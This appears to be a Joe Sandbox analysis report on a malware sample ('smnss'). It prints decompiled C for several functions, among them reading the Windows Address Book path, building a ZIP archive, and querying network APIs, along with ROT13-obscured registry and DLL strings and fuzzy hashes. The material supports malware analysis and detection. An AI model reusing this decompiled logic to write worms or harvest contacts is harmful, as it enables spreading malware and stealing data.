7618ED80.ADVAPI32 ref: 00403E15

Strings

Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403D30

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba
API String ID: 2181118218-3858799484
Opcode ID: e2de8787ab8b28c2df9a00a001bc5332683bdceb8eef226184d97ba353dea354
Instruction ID: 372c3b0a06c6ee96941f7226abfc86991cfccc6d41bd2ee5df839bccf0e05334
Opcode Fuzzy Hash: e2de8787ab8b28c2df9a00a001bc5332683bdceb8eef226184d97ba353dea354
Instruction Fuzzy Hash: 502131B0914315CEE710EF35C58579ABBF8BB44308F408A7EE484E7281E779C6888F52

Uniqueness

Uniqueness Score: -1.00%

Function 00404F0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

766857B0.KERNEL32 ref: 00404F41
6F5903B0.WININET ref: 00404F6B

Strings

jvavarg.qyy, xrefs: 00404F11

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID: jvavarg.qyy
API String ID: 3161882108-2169444084
Opcode ID: 459549567aad282bd9fd98faa7fbda873157d6092b922e6f444ffb020b89b8ec
Instruction ID: fa78873cf606c18224dba544ef8f20ca223ab6e2b08164375e4fcb1cbc50bc80
Opcode Fuzzy Hash: 459549567aad282bd9fd98faa7fbda873157d6092b922e6f444ffb020b89b8ec
Instruction Fuzzy Hash: 03F062B551530486DB10BF359AC629D7AE85F41368F058A3EF8A1A32D2E73CD64CC716

Uniqueness

Uniqueness Score: -1.00%

Function 00403F24 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

7618ED80.ADVAPI32 ref: 00404015

Strings

PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32, xrefs: 00403F32

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32
API String ID: 2181118218-2655177054
Opcode ID: ec1065b16dadf3c4c55f63c78a6684bde4f16d54d4dd78719c56537c8a878fff
Instruction ID: 019c3a761b18c338743e8a7ff589e139028416f66cb1f4fe329e007e5a71a312
Opcode Fuzzy Hash: ec1065b16dadf3c4c55f63c78a6684bde4f16d54d4dd78719c56537c8a878fff
Instruction Fuzzy Hash: FB21E6B08083159BE710EF25C58535ABBF4BB84348F00896EE88897281E77996488F92

Uniqueness

Uniqueness Score: -1.00%

Function 0040396E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0040396E(void* __ebx) {
				void* _v8;
				char _v348;
				char _v352;
				char _v356;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				char* _v392;
				void* _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				char _v408;
				intOrPtr _v412;
				char* _t20;
				char* _t25;
				void* _t26;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr* _t30;
				intOrPtr* _t31;

				_t20 =  &_v352;
				_v380 = _t20;
				_v384 = 0x20019;
				_v388 = 0;
				_v392 = "Software\\Microsoft\\WAB\\WAB4\\Wab File Name";
				_v396 = 0x80000001; // executed
				L0040C480(); // executed
				_t29 = _t27 - 0x170;
				if(_t20 == 0) {
					_t25 =  &_v348;
					_v408 = 0x100;
					_v412 = 0;
					 *_t29 = _t25;
					L0040C1F0();
					_v356 = 0x100;
					_v396 =  &_v356;
					_v400 = _t25;
					_v404 = 0;
					_v408 = 0;
					_v412 = 0;
					 *_t29 = _v352; // executed
					L0040C488(); // executed
					_t30 = _t29 - 0x18;
					_t20 = _v352;
					 *_t30 = _t20;
					L0040C490();
					_t31 = _t30 - 4;
					if(_v348 != 0) {
						 *_t31 = _t25;
						_t20 = E00403390(_t26);
					}
				}
				return _t20;
			}

0x00403978
0x0040397e
0x00403982
0x0040398a
0x00403992
0x0040399a
0x004039a1
0x004039a6
0x004039ab
0x004039b1
0x004039b7
0x004039bf
0x004039c7
0x004039ca
0x004039cf
0x004039df
0x004039e3
0x004039e7
0x004039ef
0x004039f7
0x00403a05
0x00403a08
0x00403a0d
0x00403a10
0x00403a16
0x00403a19
0x00403a1e
0x00403a28
0x00403a2a
0x00403a2d
0x00403a2d
0x00403a28
0x00403a36

APIs

7618ED80.ADVAPI32 ref: 00403A19

Strings

Software\Microsoft\WAB\WAB4\Wab File Name, xrefs: 00403992

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Software\Microsoft\WAB\WAB4\Wab File Name
API String ID: 2181118218-619501371
Opcode ID: ae81365a51869575d2673718a71df65f94980f08528c5a3444192b759fc5e03b
Instruction ID: fb9affdcd003a3e7f59b61beff737c010c0f055de032600ad664b438ea4410d9
Opcode Fuzzy Hash: ae81365a51869575d2673718a71df65f94980f08528c5a3444192b759fc5e03b
Instruction Fuzzy Hash: EB119DB0804755DFD710EF25C98939FBBF4BB44348F40896EE88867381D7B996888F96

Uniqueness

Uniqueness Score: -1.00%

Function 004067E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E004067E0(void* __ebx, signed int _a4) {
				void* _v8;
				char _v1036;
				signed int _v1040;
				intOrPtr _v1044;
				signed int _v1048;
				signed int _t12;
				signed int _t19;
				signed int _t21;
				void* _t22;
				signed int* _t23;
				intOrPtr* _t24;

				_push(__ebx);
				_t23 = _t22 - 0x414;
				_t19 =  &_v1036;
				_v1044 = 0x400;
				_v1048 = 0;
				 *_t23 = _t19;
				L0040C1F0();
				_v1040 = 0;
				_v1044 = 0x400;
				_v1048 = _t19;
				_t12 = _a4;
				 *_t23 = _t12; // executed
				L004086B8(); // executed
				_t24 = _t23 - 0x10;
				_t21 = 0;
				if(_t12 + 1 > 1) {
					 *_t24 =  &_v1036;
					_t21 = (E00406856( &_v1036, _t19) & 0xffffff00 | _t16 - 0x00000190 < 0x00000000) & 0x000000ff;
				}
				return _t21;
			}

0x004067e3
0x004067e4
0x004067ea
0x004067f0
0x004067f8
0x00406800
0x00406803
0x00406808
0x00406810
0x00406818
0x0040681c
0x0040681f
0x00406822
0x00406827
0x0040682b
0x00406833
0x0040683b
0x0040684b
0x0040684b
0x00406854

APIs

76A3E3A0.WS2_32 ref: 00406822

Strings

fc@, xrefs: 00406850

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: fc@
API String ID: 0-2333546356
Opcode ID: 57b8831d787767b7e49d70fcfe1e2bdaade995b190caae6c1ae862390cc9c723
Instruction ID: 7b1cb7ca667fa739690624300255a696f657d489af5130fe59f4ce6b6cdf8f5c
Opcode Fuzzy Hash: 57b8831d787767b7e49d70fcfe1e2bdaade995b190caae6c1ae862390cc9c723
Instruction Fuzzy Hash: CBF01DB05043049EDB00FF25C58535EBBE4AB44348F51886DE6C8A7382D638D5898B56

Uniqueness

Uniqueness Score: -1.00%

Function 0040829C Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040829C(signed int __edx, signed int _a4, signed int _a8, void* _a12) {
				void* _v16;
				short _v32;
				short _v34;
				intOrPtr _v38;
				intOrPtr _v42;
				intOrPtr _v46;
				void* _v48;
				signed short _v50;
				short _v52;
				short _v54;
				short _v56;
				char _v60;
				short _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				short _v82;
				short _v84;
				short _v86;
				short _v88;
				char _v92;
				int _v98;
				intOrPtr _v102;
				short _v104;
				short _v110;
				short _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				short _v126;
				short _v128;
				short _v130;
				short _v132;
				short _v134;
				short _v136;
				char _v140;
				char _v1164;
				int _v1168;
				char _v1172;
				signed int _v1176;
				int _v1188;
				intOrPtr _v1192;
				intOrPtr _v1196;
				int _v1200;
				intOrPtr _v1204;
				intOrPtr _v1208;
				int _v1216;
				intOrPtr _v1220;
				intOrPtr _v1224;
				int _v1228;
				intOrPtr _v1232;
				intOrPtr _v1236;
				int _v1264;
				int _v1272;
				signed int _v1276;
				intOrPtr _v1280;
				void* _v1284;
				int _v1296;
				int* _v1300;
				intOrPtr _v1304;
				char _v1308;
				int _v1324;
				int _v1328;
				int _v1332;
				int _v1336;
				intOrPtr _v1340;
				intOrPtr _v1344;
				intOrPtr _v1348;
				int _v1356;
				int* _v1360;
				int _v1364;
				char* _v1368;
				int _v1380;
				int* _v1384;
				intOrPtr _v1388;
				char _v1392;
				int _v1404;
				int* _v1408;
				intOrPtr _v1412;
				void* _v1416;
				signed int _t132;
				signed int _t135;
				int _t138;
				int _t139;
				intOrPtr _t146;
				short _t147;
				char _t150;
				int _t153;
				int* _t154;
				char _t158;
				char _t161;
				intOrPtr _t172;
				int _t175;
				signed int _t184;
				void* _t189;
				void* _t191;
				void* _t193;
				char* _t195;
				signed int _t196;
				void* _t197;
				signed int* _t198;
				signed int* _t199;
				signed int* _t201;
				signed int* _t204;
				intOrPtr* _t207;
				signed int* _t209;
				signed int* _t212;
				intOrPtr* _t213;
				intOrPtr* _t215;
				intOrPtr* _t217;
				signed int* _t218;

				_t198 = _t197 - 0x4ac;
				_v1188 = 0;
				_v1192 = 0x80;
				_v1196 = 3;
				_v1200 = 0;
				_v1204 = 3;
				_v1208 = 0x80000000;
				_t132 = _a4;
				 *_t198 = _t132; // executed
				L0040C2D0(); // executed
				_t199 = _t198 - 0x1c;
				_t196 = _t132;
				_t175 = 0;
				_t184 = __edx & 0xffffff00 | _t132 == 0xffffffff | _t132 & 0xffffff00 | _t132 == 0x00000000;
				if(_t184 == 0) {
					_v1216 = 0;
					_v1220 = 0x80;
					_v1224 = 2;
					_v1228 = 0;
					_v1232 = 3;
					_v1236 = 0x40000000;
					_t135 = _a8;
					 *_t199 = _t135; // executed
					L0040C2D0(); // executed
					_t201 = _t199 - 0x1c;
					_v1176 = _t135;
					if((_t184 & 0xffffff00 | _t135 == 0xffffffff | _t135 & 0xffffff00 | _t135 == 0x00000000) == 0) {
						_t189 =  &_v60;
						asm("cld");
						_t138 = memset(_t189, 0, 7 << 2);
						 *((short*)(_t189 + 7)) = 0;
						_t191 =  &_v140;
						_t139 = memset(_t191, _t138, 0xb << 2);
						 *((short*)(_t191 + 0xb)) = 0;
						_t193 =  &_v92;
						memset(_t193, _t139, 5 << 2);
						_t204 =  &(_t201[9]);
						 *((short*)(_t193 + 5)) = 0;
						_v60 = 0x4034b50;
						_v56 = 0xa;
						_v134 = 0xa;
						_v54 = 0;
						_v132 = 0;
						_v52 = 0;
						_v130 = 0;
						_v1264 =  &_v48;
						 *_t204 =  &_v50;
						E0040814C();
						_v128 = _v50 & 0x0000ffff;
						_v126 = _v48;
						 *_t204 = _t196; // executed
						_t146 = E004081D8(); // executed
						_v46 = _t146;
						_v124 = _t146;
						_v1264 = 0;
						 *_t204 = _t196;
						L0040C2D8();
						_v42 = _t146;
						_v120 = _t146;
						_v1272 = 0;
						_v1276 = _t196;
						L0040C2D8();
						_v38 = _t146;
						_v116 = _t146;
						_t147 = _a12;
						_v1284 = _t147;
						L0040C310();
						_t207 = _t204 - 0xfffffffffffffffc;
						_v34 = _t147;
						_v112 = _t147;
						_v32 = 0;
						_v110 = 0;
						_v98 = 0;
						_v1272 = 0;
						_v1276 =  &_v1168;
						_v1280 = 0x1e;
						_v1284 =  &_v60;
						 *_t207 = _v1176; // executed
						L0040C408(); // executed
						_t150 = _a12;
						_v1308 = _t150;
						L0040C310();
						_t209 = _t207 - 0x10;
						_v1296 = 0;
						_v1300 =  &_v1168;
						_v1304 = _t150;
						_v1308 = _a12;
						 *_t209 = _v1176; // executed
						L0040C408(); // executed
						_t153 = _a12;
						_v1332 = _t153;
						L0040C310();
						_t74 = _t153 + 0x1e; // 0x1e
						_t172 = _t74;
						_v1324 = 0;
						_v1328 = 0;
						_v1332 = 0;
						_v1336 = _t196; // executed
						L0040C400(); // executed
						_t212 = _t209;
						_t195 =  &_v1164;
						while(1) {
							_v1168 = 0;
							_v1336 = 0;
							_t154 =  &_v1168;
							_v1340 = _t154;
							_v1344 = 0x400;
							_v1348 = _t195;
							 *_t212 = _t196; // executed
							L0040C2F0(); // executed
							_t213 = _t212 - 0x14;
							if(_t154 == 0 || _v1168 == 0) {
								break;
							}
							_v1356 = 0;
							_v1360 =  &_v1172;
							_v1364 = _v1168;
							_v1368 = _t195;
							 *_t213 = _v1176; // executed
							L0040C408(); // executed
							_t212 = _t213 - 0x14;
							_t172 = _t172 + _v1168;
						}
						_v76 = _t172;
						_v140 = 0x2014b50;
						_v136 = 0x14;
						_v104 = 0;
						_v102 = 0x20;
						_v1356 = 0;
						_v1360 =  &_v1168;
						_v1364 = 0x2e;
						_v1368 =  &_v140;
						 *_t213 = _v1176; // executed
						L0040C408(); // executed
						_t158 = _a12;
						_v1392 = _t158;
						L0040C310();
						_t215 = _t213 - 0x10;
						_v1380 = 0;
						_v1384 =  &_v1168;
						_v1388 = _t158;
						_v1392 = _a12;
						 *_t215 = _v1176; // executed
						L0040C408(); // executed
						_t161 = _a12;
						_v1416 = _t161;
						L0040C310();
						_t217 = _t215 - 0x10;
						_v92 = 0x6054b50;
						_v88 = 0;
						_v86 = 0;
						_v84 = 1;
						_v82 = 1;
						_v80 = _t172 + 0x2e + _t161 - _v76;
						_v72 = 0;
						_v1404 = 0;
						_v1408 =  &_v1168;
						_v1412 = 0x16;
						_v1416 =  &_v92;
						 *_t217 = _v1176; // executed
						L0040C408(); // executed
						_t218 = _t217 - 0x14;
						 *_t218 = _v1176; // executed
						L0040C2E8(); // executed
						 *(_t218 - 4) = _t196;
						L0040C2E8();
						_t175 = 1;
					} else {
						 *_t201 = _t196;
						L0040C2E8();
						_t175 = 0;
					}
				}
				return _t175;
			}

0x004082a2
0x004082a8
0x004082b0
0x004082b8
0x004082c0
0x004082c8
0x004082d0
0x004082d8
0x004082db
0x004082de
0x004082e3
0x004082e6
0x004082f3
0x004082f8
0x004082fa
0x00408300
0x00408308
0x00408310
0x00408318
0x00408320
0x00408328
0x00408330
0x00408333
0x00408336
0x0040833b
0x0040833e
0x00408351
0x00408368
0x0040836b
0x00408376
0x00408378
0x0040837d
0x00408388
0x0040838a
0x0040838f
0x00408397
0x00408397
0x00408399
0x0040839e
0x004083a5
0x004083ab
0x004083b4
0x004083ba
0x004083c0
0x004083c6
0x004083d2
0x004083d9
0x004083dc
0x004083e5
0x004083ec
0x004083f0
0x004083f3
0x004083f8
0x004083fb
0x004083fe
0x00408406
0x00408409
0x00408411
0x00408414
0x00408417
0x0040841f
0x00408422
0x0040842a
0x0040842d
0x00408430
0x00408433
0x00408436
0x0040843b
0x0040843e
0x00408442
0x00408446
0x0040844c
0x00408452
0x00408459
0x00408467
0x0040846b
0x00408473
0x0040847d
0x00408480
0x00408488
0x0040848b
0x0040848e
0x00408493
0x00408496
0x004084a4
0x004084a8
0x004084af
0x004084b9
0x004084bc
0x004084c4
0x004084c7
0x004084ca
0x004084d2
0x004084d2
0x004084d5
0x004084dd
0x004084e5
0x004084ed
0x004084f0
0x004084f5
0x004084f8
0x004084fe
0x004084fe
0x00408508
0x00408510
0x00408516
0x0040851a
0x00408522
0x00408526
0x00408529
0x0040852e
0x00408533
0x00000000
0x00000000
0x0040853e
0x0040854c
0x00408556
0x0040855a
0x00408564
0x00408567
0x0040856c
0x0040856f
0x0040856f
0x00408577
0x0040857a
0x00408584
0x0040858d
0x00408593
0x0040859a
0x004085a8
0x004085ac
0x004085ba
0x004085c4
0x004085c7
0x004085d2
0x004085d5
0x004085d8
0x004085dd
0x004085e0
0x004085ee
0x004085f2
0x004085f9
0x00408603
0x00408606
0x0040860e
0x00408611
0x00408614
0x00408619
0x0040861e
0x00408625
0x0040862b
0x00408631
0x00408637
0x00408642
0x00408645
0x0040864b
0x00408659
0x0040865d
0x00408668
0x00408672
0x00408675
0x0040867a
0x00408683
0x00408686
0x0040868e
0x00408691
0x00408699
0x00408353
0x00408353
0x00408356
0x0040835e
0x0040835e
0x00408351
0x004086a7

Strings

, xrefs: 00408593
., xrefs: 004085AC

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: $.
API String ID: 0-3929174939
Opcode ID: db96ad772c5433479edb6ec15f6712a25d66f452af447f7d950adf714c5fff61
Instruction ID: 330a0651d7a757380811ed2d4a39bd4f834bab233f08717d63250c6a01a72e4e
Opcode Fuzzy Hash: db96ad772c5433479edb6ec15f6712a25d66f452af447f7d950adf714c5fff61
Instruction Fuzzy Hash: 17B1DDB4804304DBDB10EF65C59579EBBF4BF44304F00896EE898A7391E7799648CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405EE8 Relevance: 2.6, Strings: 2, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00405EE8(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28) {
				char _v16;
				intOrPtr* _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				signed int _v92;
				signed int _v96;
				intOrPtr _v100;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t72;
				intOrPtr _t73;
				intOrPtr* _t74;
				void* _t78;
				signed int _t82;
				intOrPtr _t88;
				void* _t92;
				void* _t94;
				intOrPtr* _t97;
				void* _t114;
				void* _t115;
				intOrPtr* _t116;

				_v44 = E00408B60;
				_v40 = 0x40c514;
				_v36 =  &_v16;
				_v32 = E00405F6A;
				_v28 = _t116;
				 *_t116 =  &_v68;
				_t72 = E0040B460(_t94, _t114, _t115);
				_v136 = 0x40;
				 *_t116 = _a8;
				L0040C238();
				_t73 = _t72 + 1;
				_v72 = _t73;
				_v64 = 0xffffffff;
				L0040C2E0();
				_v80 = _t73;
				 *_t116 = 0x14; // executed
				_t74 = E00409250(_t94, _t114, _t115); // executed
				_v84 = _t74;
				_v136 = _v80;
				 *_t116 = _v84;
				_v64 = 1;
				E00401326();
				_t97 = _v84;
				_v76 = _t97;
				_v136 = _t97;
				 *_t116 = _v72;
				_v64 = 0xffffffff;
				_t78 = E004060AA(); // executed
				if(_t78 != 0) {
					_v92 = 0;
					if( *(_v76 + 4) > 0) {
						while(1) {
							_v112 = _a28;
							_t32 =  &_a24; // 0x405f6a
							_v116 =  *_t32;
							_v120 = _a20;
							_v124 = _a16;
							_v128 = _a12;
							_v132 = _a8;
							_v136 = _a4;
							 *_t116 =  *((intOrPtr*)( *_v76 + _v92 * 4)) + 2;
							_v64 = 0xffffffff;
							_t92 = E0040619A(_a4); // executed
							if(_t92 != 0) {
								goto L5;
							}
							_v92 = _v92 + 1;
							if( *(_v76 + 4) > _v92) {
								continue;
							}
							goto L5;
						}
					}
				}
				L5:
				if(_v76 != 0) {
					_t82 =  *(_v76 + 4);
					while(_t82 != 0) {
						_v96 = _t82 - 1;
						_t88 =  *((intOrPtr*)( *_v76 + _v96 * 4));
						_v100 = _t88;
						_v64 = 0xffffffff;
						L0040C2E0();
						_v132 = _v100;
						_v136 = 0;
						 *_t116 = _t88;
						L0040C2B8();
						_t116 = _t116 - 0xc;
						_t82 = _v96;
					}
					if(_v76 != 0) {
						 *_t116 = _v76;
						_v64 = 0xffffffff;
						E00401394(_t94);
						 *_t116 = _v76;
						E00409230();
					}
				}
				 *_t116 =  &_v68;
				E0040B540(_t94);
				return 1;
			}

0x00405ef1
0x00405ef8
0x00405f02
0x00405f05
0x00405f0c
0x00405f12
0x00405f15
0x00405f1a
0x00405f25
0x00405f28
0x00405f2d
0x00405f2e
0x00405f31
0x00405f38
0x00405f3d
0x00405f40
0x00405f47
0x00405f4c
0x00405f52
0x00405f59
0x00405f5c
0x00405f63
0x00405f90
0x00405f93
0x00405f96
0x00405f9d
0x00405fa0
0x00405fa7
0x00405fae
0x00405fb0
0x00405fbe
0x00405fc0
0x00405fce
0x00405fd2
0x00405fd5
0x00405fdc
0x00405fe3
0x00405fea
0x00405ff1
0x00405ff8
0x00405fff
0x00406002
0x00406009
0x00406010
0x00000000
0x00000000
0x00406012
0x0040601e
0x00000000
0x00000000
0x00000000
0x0040601e
0x00405fc0
0x00405fbe
0x00406020
0x00406024
0x00406029
0x0040602e
0x00406031
0x0040603c
0x0040603f
0x00406042
0x00406049
0x00406051
0x00406055
0x0040605d
0x00406060
0x00406065
0x00406068
0x0040606b
0x00406073
0x00406078
0x0040607b
0x00406082
0x0040608a
0x0040608d
0x0040608d
0x00406073
0x00406095
0x00406098
0x004060a9

Strings

j_@, xrefs: 00405FD2
@, xrefs: 00405F1A

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: C740
String ID: @$j_@
API String ID: 338827393-3208567232
Opcode ID: 95ab7cba7ccc7fd8cb65a0a908a152ab466b1d0a9c8d5ef17ee90a2dfc934584
Instruction ID: 173fe34617f367652bf3f1e9fca4c53672752cc9009160b2f8c90af088e1383c
Opcode Fuzzy Hash: 95ab7cba7ccc7fd8cb65a0a908a152ab466b1d0a9c8d5ef17ee90a2dfc934584
Instruction Fuzzy Hash: 7551B4B4904709DFCB10DFA5C48468EBBF1FF88314F14862AE868A7395D3389846CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004049EA Relevance: 2.6, Strings: 2, Instructions: 57COMMON

Download Yara Rule

Strings

SYSTEM\ControlSet001\Services\Disk\Enum, xrefs: 004049F5
012, xrefs: 00404A45

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: 012$SYSTEM\ControlSet001\Services\Disk\Enum
API String ID: 2181118218-1634863437
Opcode ID: 78eebafeba9169b15c599dbb74883321dd13a7f0e7c19f3bc8d5233c6d672bb7
Instruction ID: 870a1de997922802b68f1717d84fe3bed6c75bca7598e79a585ce558600d9c18
Opcode Fuzzy Hash: 78eebafeba9169b15c599dbb74883321dd13a7f0e7c19f3bc8d5233c6d672bb7
Instruction Fuzzy Hash: 7221A6B4904218DFCB60DF68EA8069DBBF4EB48314F50413AE958F7750D33499498F99

Uniqueness

Uniqueness Score: -1.00%

Function 004028E2 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

L@, xrefs: 004028FE
admin@bigtits.com, xrefs: 00402918

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
